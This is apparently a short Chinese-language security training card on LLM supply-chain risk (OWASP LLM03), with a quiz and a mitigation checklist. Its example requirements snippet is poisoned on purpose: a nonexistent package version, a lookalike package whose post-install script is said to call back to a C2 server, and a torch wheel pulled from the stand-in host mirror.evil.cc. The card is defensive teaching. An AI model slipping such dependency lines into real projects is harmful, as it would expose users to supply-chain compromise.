LLM03 · 供应链 Supply Chain 中危

LLM 应用依赖第三方模型权重、数据集、向量库、插件与 Python 包。下面是一个被投毒的 requirements 片段示例： transformers==4.99.0 # 不存在的版本→typosquatting/依赖混淆 llm-utils-helper # 仿冒包，post-install 脚本回连 C2 torch @ http://mirror.evil.cc/torch.whl # 非官方源

🎯 目标：识别上面 3 处供应链风险点，并说出对应的缓解措施。

缓解措施 Checklist

✅ 锁定可信源 + 校验哈希/签名（pip hash、SBOM）
✅ 私有镜像仓库 + 依赖审计（防依赖混淆/typosquatting）
✅ 模型权重来源可信 + 扫描序列化反序列化（pickle）风险